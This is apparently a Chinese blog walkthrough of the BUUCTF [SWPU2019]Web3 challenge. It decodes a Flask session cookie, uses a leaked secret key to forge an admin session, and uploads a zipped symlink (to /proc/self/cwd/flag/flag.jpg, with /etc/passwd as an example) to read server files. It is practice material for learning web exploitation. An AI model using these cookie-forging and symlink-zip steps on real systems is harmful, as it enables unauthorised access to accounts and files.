首页 > 其他分享 >BUUCTF:[SWPU2019]Web3

BUUCTF:[SWPU2019]Web3

时间:2023-06-19 21:03:50浏览次数:69  
标签:Exception BUUCTF return Web3 session path os payload SWPU2019


参考:https://www.leavesongs.com/PENETRATION/client-session-security.htmlhttp://forever404.cn/2019/12/14/SWPU2019web%E5%A4%8D%E7%8E%B0/

BUUCTF:[SWPU2019]Web3_flask


BUUCTF:[SWPU2019]Web3_Desktop_02


点击upload有权限设置,猜测cookie伪造

BUUCTF:[SWPU2019]Web3_上传_03


权限不够,查看session

BUUCTF:[SWPU2019]Web3_上传_04


使用P师傅的脚本可以解这个session

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
PS C:\Users\Administrator\Desktop\TEST\py\py3> python3 .\test1.py ".eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.Xp7hlA.diTHwjCTpV8Pl0FKgv0_fdYhfPw"
{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}
PS C:\Users\Administrator\Desktop\TEST\py\py3>

接下来就是伪造sessIon,首先伪造session加密需要keykey在访问不存在的目录时,会出现在请求头当中,很容易注意,base64解码即可

U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
         
keyqqqwwweee!@#$%^&*

BUUCTF:[SWPU2019]Web3_Desktop_05


其次,如何修改session才能获得更高的权限

{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}

能想到也就是这里这个id,可能类似linux的uid,修改为1

{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}

接下来就是需要加密即可
加密脚本:https://github.com/noraj/flask-session-cookie-manager

PS C:\Users\Administrator\Desktop\TEST\py\py3> python3 .\flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"
                                                                                                              
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Xp7n9g.Wrfpp0DVY6_pH_mpD3_l6nNTpWU

PS C:\Users\Administrator\Desktop\TEST\py\py3>

BUUCTF:[SWPU2019]Web3_Desktop_06


获得上传权限,页面注释有源码

BUUCTF:[SWPU2019]Web3_flask_07

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

定义两个路由,上传的那个路由就是上传一个压缩的图片,服务器进行解压再显示图片,我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下

构造payload

ln -s是Linux的一种软连接,类似与windows的快捷方式
ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码
/proc/self 记录了系统运行的信息状态等,cwd 指向当前进程运行目录的一个符号链接,即flask运行进程目录

ln -s /proc/self/cwd/flag/flag.jpg test
zip -ry test.zip test

BUUCTF:[SWPU2019]Web3_Desktop_08


上传压缩包,抓包

BUUCTF:[SWPU2019]Web3_Desktop_09


标签:Exception,BUUCTF,return,Web3,session,path,os,payload,SWPU2019
From: https://blog.51cto.com/u_16159500/6517199

相关文章

  • BUUCTF:[CISCN2019 华东南赛区]Double Secret
    BUUCTF:[CISCN2019华东南赛区]DoubleSecret查看robots.txt无可用信息线索在目录:http://274c1aad-138b-4fe6-9815-8feeaf028127.node3.buuoj.cn/secret尝试传参?secret=发现当字符串长度超过4位的时候,出现报错寻找关键代码这里调用了rc4再通过render_template_string执行,SST......
  • BUUCTF:[WUSTCTF2020]girlfriend
    下载下来一个音频文件一个题目描述使用Audacity打开这段音频Audacity官方下载Audacity是一款易于使用的多轨音频编辑器和记录器,适用于Windows,MacOSX,GNU/Linux和其他操作系统。在CTF比赛中,可以通过对音频进行频谱的分析,以及音频其他内容的分析,找到flag。听起来像是在打电话......
  • BUUCTF:[XMAN2018排位赛]通行证
    PS:网上有很多解密网站,有时候可能同一种类型解密网站可能解密出不同的内容,所以当一个站解不出来的时候,建议多测试几个,别在一棵树上吊死题目内容:a2FuYmJyZ2doamx7emJfX19ffXZ0bGFsbg==base64解码得到kanbbrgghjl{zb____}vtlaln栅栏密码9(每组字数7)kzna{blnl_abj_lbh_trg_vg}凯撒解......
  • BUUCTF:[BSidesCF 2019]Mixer
    知识盲区题不多bb了,涉及加密的看不太懂,直接放参考链接,记录一下......
  • BUUCTF:[HCTF 2018]Hide and seek
    BUUCTF:[HCTF2018]Hideandseek参考:https://www.jianshu.com/p/d20168da7284先随便输入账号密码登录提示我们上传zip文件上传一个文件压缩后的zip,输出了文件压缩前的内容可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,试试看能不能读取root@......
  • BUUCTF:[RCTF2015]EasySQL
    BUUCTF:[RCTF2015]EasyS先注册一个用户在注册的时候,fuzz测试发现在username和email中过滤了以下字符:@orandspace(空格)substrmidleftrighthandle没有源码慢慢测试.......登录,发现还有个改密码在注册时用户名加些测试字符进去,'mochu7"\然后登录,在修改密码的时候,发现报错了......
  • BUUCTF NewStarCTF 公开赛赛道Week2 Writeup
    文章目录WEEK2WEBWord-For-You(2Gen)IncludeOneUnserializeOneezAPIMISCYesecnodrumsticks2Coldwinds'sDesktop奇怪的二维码qsdz'sgirlfriend2WEEK2WEBWord-For-You(2Gen)题目描述哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘......
  • BUUCTF:[HDCTF2019]你能发现什么蛛丝马迹吗
    https://buuoj.cn/challenges#[HDCTF2019]%E4%BD%A0%E8%83%BD%E5%8F%91%E7%8E%B0%E4%BB%80%E4%B9%88%E8%9B%9B%E4%B8%9D%E9%A9%AC%E8%BF%B9%E5%90%97memory.imgVolatility分析查看文件的Profilevolatility-fmemory.imgimageinfo猜测为:Win2003SP1x86查看进程volatility-fmemor......
  • BUUCTF:[GKCTF2020]Harley Quinn
    https://buuoj.cn/challenges#[GKCTF2020]Harley%20QuinnHeathens末尾存在DTMF码(电话拨号码)将这一段截取出来,使用工具dtmf2num识别#22283334447777338866#对照即可得到#ctfisfun#题目压缩包上有提示:FreeFileCamouflageFreeFileCamouflage是一款将重要文档以AES加密算法存放......
  • BUUCTF:[SUCTF2018]followme
    https://buuoj.cn/challenges#[SUCTF2018]followme导出HTTP,这里大部分文件内容显示貌似再爆破admin密码有点多,尝试整个文件夹找一下相关关键字,例如CTF、flag之类的grep-r'CTF'./new/flag{password_is_not_weak}......